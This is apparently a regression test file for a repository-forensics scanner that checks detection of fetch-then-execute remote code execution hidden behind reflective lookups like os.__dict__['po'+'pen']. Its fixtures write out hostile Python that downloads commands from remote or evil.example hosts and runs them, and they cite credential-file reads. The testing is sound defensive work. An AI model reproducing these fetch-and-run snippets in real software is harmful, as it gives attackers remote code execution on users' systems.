alexgreensh/repo-forensics / skills/repo-forensics
repo-forensics
FlaggedSecurity forensics for git repos, AI skills, and MCP servers. Audits dependencies, detects prompt injection, credential theft, runtime dynamism, manifest drift, known CVEs, CISA KEV (actively exploited) vulns, and 2026 attack patterns. Not for fixing vulnerabilities or pentesting.
tests/test_reflective_fetch_execute.py
View on GitHub"""test_reflective_fetch_execute.py - Pluto reflective-RCE regression suite.
Regression coverage for the 2026-09-20 Pluto evasion audit
(pluto.security/blog/malicious-mcp-servers-clean-scans/): a command fetched
from a remote source at call time and executed through a reflectively
resolved sink - os.__dict__["po" + "pen"](cmd) - previously exited 0 CLEAN
when the fetch URL used an ordinary domain, and only BLOCKed on localhost
through an accidental keyword correlation (SC-NET-001's generic secret
prose paired with the raw trifecta network leaf).
Fix 1 (scan_ast.py): module.__dict__[key] / vars(module)[key] / aliases /
concatenated keys fold into the dangerous-sink set; fetch sources taint
through assignment and helper returns into a fetch-then-execute critical.
Fix 2 (forensics_core.py): Rules 1 & 3 correlate structurally typed leaves
from DISTINCT findings instead of keyword-matching finding prose.
Every test asserts the causative scanner/category/title, never just an
exit code, so an accidental correlation cannot count as a pass.
"""
import json
import os
import subprocess
import sys
import pytest
_TESTS_DIR = os.path.dirname(os.path.abspath(__file__))
_SCRIPTS_DIR = os.path.join(_TESTS_DIR, "..", "scripts")
if _SCRIPTS_DIR not in sys.path:
sys.path.insert(0, _SCRIPTS_DIR)
import forensics_core as core # noqa: E402
import scan_ast # noqa: E402
import scan_secrets # noqa: E402
from shell_compat import sh_argv # noqa: E402
# --------------------------------------------------------------------------
# Fixtures
# --------------------------------------------------------------------------
# The Pluto call-time-fetch shape with an ORDINARY domain (not localhost),
# so no hardcoded-IP finding can accidentally participate.
PLUTO_RCE_DOMAIN = '''\
import os, json, urllib.request
def _check_for_service_update():
with urllib.request.urlopen("https://updates.example-cdn.net/cmd") as response:
return json.loads(response.read()).get("cmd")
command = _check_for_service_update()
launch = os.__dict__["po" + "pen"]
output = launch(command).read()
'''
PLUTO_RCE_LOCALHOST = PLUTO_RCE_DOMAIN.replace(
"https://updates.example-cdn.net/cmd", "http://127.0.0.1:8080/cmd")
def _scan_source(tmp_path, source, name="server.py"):
f = tmp_path / name
f.write_text(source)
return scan_ast.scan_file(str(f), name)
def _titles(findings):
return [f.title for f in findings]
# --------------------------------------------------------------------------
# Fix 1: reflective-sink detection (scan_ast)
# --------------------------------------------------------------------------
class TestReflectiveSink:
def test_dict_subscript_concat_key_direct_call(self, tmp_path):
findings = _scan_source(tmp_path, 'import os\nos.__dict__["po" + "pen"]("id")\n')
refl = [f for f in findings if f.category == "obfuscated-exec"
and "Reflective Attribute Access" in f.title]
assert refl, f"reflective retrieval not flagged: {_titles(findings)}"
assert refl[0].severity == "critical"
assert refl[0].scanner == "ast_analysis"
assert "popen" in refl[0].title
def test_vars_module_subscript(self, tmp_path):
findings = _scan_source(tmp_path, 'import os\nvars(os)["system"]("id")\n')
assert any("Reflective Attribute Access" in t and "system" in t
for t in _titles(findings)), _titles(findings)
def test_module_dict_alias(self, tmp_path):
findings = _scan_source(
tmp_path, 'import os\nd = os.__dict__\nd["sys" + "tem"]("id")\n')
assert any("Reflective Attribute Access" in t and "system" in t
for t in _titles(findings)), _titles(findings)
def test_module_alias(self, tmp_path):
findings = _scan_source(
tmp_path, 'import os\no = os\no.__dict__["system"]("id")\n')
assert any("Reflective Attribute Access" in t and "system" in t
for t in _titles(findings)), _titles(findings)
def test_constant_key_via_variable(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os\nKEY = "po" + "pen"\nos.__dict__[KEY]("id")\n')
assert any("Reflective Attribute Access" in t and "popen" in t
for t in _titles(findings)), _titles(findings)
def test_dict_get_form(self, tmp_path):
findings = _scan_source(
tmp_path, 'import os\nos.__dict__.get("sy" + "stem")("id")\n')
assert any(".__dict__.get('system')" in t
for t in _titles(findings)), _titles(findings)
def test_getattr_concat_key(self, tmp_path):
findings = _scan_source(
tmp_path, 'import os\ngetattr(os, "po" + "pen")("id")\n')
assert any("getattr(os, 'popen')" in t for t in _titles(findings)), \
_titles(findings)
def test_subprocess_dict(self, tmp_path):
findings = _scan_source(
tmp_path, 'import subprocess\nsubprocess.__dict__["call"]("id")\n')
assert any("Reflective Attribute Access" in t and "call" in t
for t in _titles(findings)), _titles(findings)
# -- Negative controls: none of these may flag -------------------------
def test_benign_vars_iteration(self, tmp_path):
findings = _scan_source(tmp_path, 'import os\nkeys = list(vars(os))\n')
assert not any("Reflective" in t for t in _titles(findings))
def test_benign_plain_dict_dangerous_key(self, tmp_path):
findings = _scan_source(
tmp_path, 'config = {"popen": 1}\nx = config["po" + "pen"]\n')
assert not any("Reflective" in t for t in _titles(findings))
def test_benign_module_dict_safe_key(self, tmp_path):
findings = _scan_source(
tmp_path, 'import os\np = os.__dict__["path"]\n')
assert not any("Reflective" in t for t in _titles(findings))
def test_benign_vars_of_non_sensitive_object(self, tmp_path):
findings = _scan_source(
tmp_path,
'class C:\n pass\nc = C()\nvars(c)["system"]\n')
assert not any("Reflective" in t for t in _titles(findings))
def test_reassignment_kills_alias(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os\nd = os.__dict__\nd = {}\nd["system"]("id")\n')
assert not any("Reflective" in t for t in _titles(findings))
# --------------------------------------------------------------------------
# Fix 1: fetch-then-execute taint (scan_ast)
# --------------------------------------------------------------------------
class TestFetchThenExecute:
def test_pluto_shape_ordinary_domain(self, tmp_path):
findings = _scan_source(tmp_path, PLUTO_RCE_DOMAIN)
fte = [f for f in findings if f.category == "remote-code-execution"]
assert fte, f"fetch-then-execute not flagged: {_titles(findings)}"
assert fte[0].severity == "critical"
assert fte[0].scanner == "ast_analysis"
assert "os.popen" in fte[0].title
# The fetch-then-execute finding points at the SINK call line, and
# the reflective retrieval is flagged at its own line.
assert fte[0].line == 9
refl = [f for f in findings if "Reflective Attribute Access" in f.title]
assert refl and refl[0].line == 8
def test_inline_fetch_reflective_sink(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os, urllib.request\n'
'os.__dict__["sys" + "tem"](urllib.request.urlopen("https://x.example/c").read())\n')
assert any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_helper_return_flow(self, tmp_path):
findings = _scan_source(tmp_path, PLUTO_RCE_DOMAIN)
# helper _check_for_service_update returns fetch-tainted data;
# command = helper(); launch(command) must connect the two.
assert any(f.category == "remote-code-execution" for f in findings)
def test_reflective_sink_without_taint_no_fetch_execute(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os\nlaunch = os.__dict__["po" + "pen"]\nlaunch("ls")\n')
assert any("Reflective Attribute Access" in t for t in _titles(findings))
assert not any(f.category == "remote-code-execution" for f in findings)
def test_tainted_arg_into_direct_call_not_flagged(self, tmp_path):
# Direct os.system(tainted) is out of the reflective pattern's scope
# (covered elsewhere); no remote-code-execution finding here.
findings = _scan_source(
tmp_path,
'import os, urllib.request\n'
'cmd = urllib.request.urlopen("https://x.example/c").read()\n'
'os.system(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings)
# --------------------------------------------------------------------------
# Fix 2: typed correlation leaves (forensics_core Rules 1 & 3)
# --------------------------------------------------------------------------
def _ip_finding(file="server.py"):
"""The SC-NET-001 shape: hardcoded IP, generic secret prose."""
return core.Finding(
scanner="secrets", severity="low", title="Hardcoded IP Address",
description="Potential hardcoded secret detected",
file=file, line=3, snippet="127.0.0.1", category="secret",
rule_id="SC-NET-001")
def _net_primitive(file="server.py"):
return core.Finding(
scanner="trifecta_raw", severity="high",
title="Outbound network primitive",
description="Raw-content match for outbound network primitive "
"(http.client, requests.post, urllib, socket, axios, "
"httpx, aiohttp)",
file=file, line=2, snippet="urllib.request.urlopen(",
category="exfiltration")
def _env_leaf(file="server.py"):
return core.Finding(
scanner="skill_threats", severity="high",
title="Bulk environment access",
description="os.environ.items() bulk environment read",
file=file, line=1, snippet="os.environ.items()",
category="credential-exfiltration", rule_id="ST-EX-005")
class TestTypedCorrelation:
def test_hardcoded_ip_does_not_satisfy_env_side(self):
# The Pluto localhost false-BLOCK: IP literal + network primitive
# must NOT manufacture "Potential Data Exfiltration".
titles = _titles(core.correlate([_ip_finding(), _net_primitive()]))
assert "Potential Data Exfiltration" not in titles, titles
assert "Credential Theft Pattern" not in titles, titles
def test_typed_env_plus_network_fires(self):
titles = _titles(core.correlate([_env_leaf(), _net_primitive()]))
assert "Potential Data Exfiltration" in titles, titles
def test_single_finding_cannot_satisfy_both_sides(self):
# One finding carrying env + network capabilities must not
# self-correlate; the pair requires DISTINCT leaves.
both = core.Finding(
scanner="skill_threats", severity="high",
title="Known exfiltration webhook service",
description="credential-exfiltration webhook",
file="server.py", line=1, snippet="WEBHOOK",
category="credential-exfiltration", rule_id="ST-EX-001")
# Give it a network capability too via category override.
both.category = "network"
caps = core._exfil_capabilities(both)
assert caps == {"env", "network"}, caps # both sides, one finding
titles = _titles(core.correlate([both]))
assert "Potential Data Exfiltration" not in titles, titles
def test_sensitive_read_plus_network_fires_rule3(self):
# A sensitive-read leaf without env semantics pairs with a network
# leaf into Rule 3. (ST-EX-004 carries credential-exfiltration
# category and trips Rule 1 first; Rule 3 defers to Rule 1, which is
# pre-existing behavior.)
sr = core.Finding(
scanner="skill_threats", severity="medium",
title="Sensitive file read",
description="reads SSH private key material from disk",
file="server.py", line=1, snippet="id_rsa",
category="sensitive-read", rule_id="")
titles = _titles(core.correlate([sr, _net_primitive()]))
assert "Credential Theft Pattern" in titles, titles
assert "Potential Data Exfiltration" not in titles, titles
def test_st_ex_004_pairs_into_rule1_first(self):
# ST-EX-004 (reading credential files) has env semantics, so Rule 1
# wins and Rule 3 does not double-report the same pair.
sr = core.Finding(
scanner="skill_threats", severity="high",
title="Reading credential files",
description="reads ~/.aws/credentials",
file="server.py", line=1, snippet="open('.aws/credentials')",
category="credential-exfiltration", rule_id="ST-EX-004")
titles = _titles(core.correlate([sr, _net_primitive()]))
assert "Potential Data Exfiltration" in titles, titles
assert "Credential Theft Pattern" not in titles, titles
def test_credential_path_directive_with_raw_network_is_advisory_without_flow(self):
sr = core.Finding(
scanner="skill_threats", severity="high",
title="Credential-path directive",
description="instruction to access sensitive file",
file="SKILL.md", line=1, snippet="read ~/.ssh/id_rsa",
category="credential-path-directive", rule_id="ST-CR-001")
findings = core.correlate([sr, _net_primitive(file="SKILL.md")])
exfil = next(f for f in findings if f.title == "Potential Data Exfiltration")
assert exfil.severity == "high"
# --------------------------------------------------------------------------
# Pipeline-shaped integration: real scanners + real correlate()
# --------------------------------------------------------------------------
class TestPipelineShape:
def _pipeline_findings(self, tmp_path, source):
f = tmp_path / "server.py"
f.write_text(source)
leaves = []
leaves += scan_ast.scan_file(str(f), "server.py")
leaves += scan_secrets.scan_file(str(f), "server.py")
leaves += core.detect_trifecta_raw(str(tmp_path))
return leaves, core.correlate(leaves)
def test_domain_fixture_caught_by_ast_not_correlation(self, tmp_path):
leaves, correlated = self._pipeline_findings(tmp_path, PLUTO_RCE_DOMAIN)
leaf_titles = _titles(leaves)
assert any("Reflective Attribute Access" in t for t in leaf_titles), leaf_titles
assert any("Fetch-then-Execute" in t for t in leaf_titles), leaf_titles
# No invented exfil compound: there is no credential access in the
# fixture, so Rule 1 has no env leaf.
assert "Potential Data Exfiltration" not in _titles(correlated)
def test_localhost_fixture_no_accidental_block(self, tmp_path):
leaves, correlated = self._pipeline_findings(tmp_path, PLUTO_RCE_LOCALHOST)
# SC-NET-001 still fires as an informational leaf...
assert any(f.rule_id == "SC-NET-001" for f in leaves)
# ...but the compound is gone; causality belongs to ast_analysis.
assert "Potential Data Exfiltration" not in _titles(correlated)
assert any("Fetch-then-Execute" in t for t in _titles(leaves))
def test_full_runner_domain_fixture_blocks(self, tmp_path):
# End-to-end through run_forensics.sh: previously exit 0 (CLEAN).
(tmp_path / "server.py").write_text(PLUTO_RCE_DOMAIN)
repo_root = os.path.dirname(_TESTS_DIR)
script_path = os.path.join(repo_root, "scripts", "run_forensics.sh")
result = subprocess.run(
sh_argv(script_path, str(tmp_path), "--format", "json"),
capture_output=True, text=True, check=False)
assert result.returncode == 2, result.stdout[:2000]
payload = json.loads(result.stdout)
blocking = [f for f in payload["findings"]
if f["scanner"] == "ast_analysis"
and f["severity"] == "critical"]
assert any("Fetch-then-Execute" in f["title"] for f in blocking), \
[f["title"] for f in payload["findings"]]
# --------------------------------------------------------------------------
# Branch joins (2026-09-20 repo-watch review of PR #46): a binding made in
# only one branch must not convict post-join code.
# --------------------------------------------------------------------------
class TestBranchJoins:
def test_repo_watch_repro_dead_dangerous_branch(self, tmp_path):
# The exact reported false positive: runtime calls print, but the
# else branch's binding used to win the shared scope.
findings = _scan_source(
tmp_path,
'import os, requests\n'
'if True:\n'
' launch = print\n'
'else:\n'
' launch = os.__dict__["system"]\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_both_branches_agree_still_fires(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os, requests\n'
'if cond:\n'
' launch = os.__dict__["system"]\n'
'else:\n'
' launch = os.__dict__["system"]\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_in_branch_use_still_fires(self, tmp_path):
# Alias bound and used INSIDE the same branch: the branch-local
# scope keeps this true positive.
findings = _scan_source(
tmp_path,
'import os, requests\n'
'cmd = requests.get("https://evil.example/x").text\n'
'if cond:\n'
' launch = os.__dict__["system"]\n'
' launch(cmd)\n')
assert any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_if_body_only_binding_does_not_leak(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os, requests\n'
'if cond:\n'
' launch = os.__dict__["system"]\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_try_except_disagree_does_not_leak(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os, requests\n'
'try:\n'
' launch = os.__dict__["system"]\n'
'except Exception:\n'
' launch = print\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_try_except_agree_still_fires(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os, requests\n'
'try:\n'
' launch = os.__dict__["system"]\n'
'except Exception:\n'
' launch = os.__dict__["system"]\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_except_only_alias_does_not_leak(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os, requests\n'
'launch = print\n'
'try:\n'
' pass\n'
'except Exception:\n'
' launch = os.__dict__["system"]\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_finally_binds_unconditionally(self, tmp_path):
# finally runs on every path, so its binding survives the join.
findings = _scan_source(
tmp_path,
'import os, requests\n'
'try:\n'
' pass\n'
'except Exception:\n'
' pass\n'
'finally:\n'
' launch = os.__dict__["system"]\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_loop_zero_iteration_does_not_leak(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os, requests\n'
'for x in maybe_empty:\n'
' launch = os.__dict__["system"]\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_while_zero_iteration_does_not_leak(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os, requests\n'
'while cond:\n'
' launch = os.__dict__["system"]\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_branch_only_taint_does_not_leak(self, tmp_path):
findings = _scan_source(
tmp_path,
'import os, requests\n'
'launch = os.__dict__["system"]\n'
'if cond:\n'
' cmd = requests.get("https://evil.example/x").text\n'
'else:\n'
' cmd = "ls"\n'
'launch(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_sequential_rebind_still_fires(self, tmp_path):
# Unconditional control: no branches at all.
findings = _scan_source(
tmp_path,
'import os, requests\n'
'launch = os.__dict__["system"]\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_branch_rebind_to_benign_kills_prebound_alias(self, tmp_path):
# Alias bound BEFORE the branch, rebound to a benign callable in one
# branch only: that exit's binding is unknown, not the incoming one.
findings = _scan_source(
tmp_path,
'import os, requests\n'
'launch = os.__dict__["system"]\n'
'if cond:\n'
' launch = print\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
def test_loop_target_rebinding_kills_alias(self, tmp_path):
# The loop target holds the last iterated value, not the alias.
findings = _scan_source(
tmp_path,
'import os, requests\n'
'launch = os.__dict__["system"]\n'
'for launch in items:\n'
' pass\n'
'cmd = requests.get("https://evil.example/x").text\n'
'launch(cmd)\n')
assert not any(f.category == "remote-code-execution" for f in findings), \
_titles(findings)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |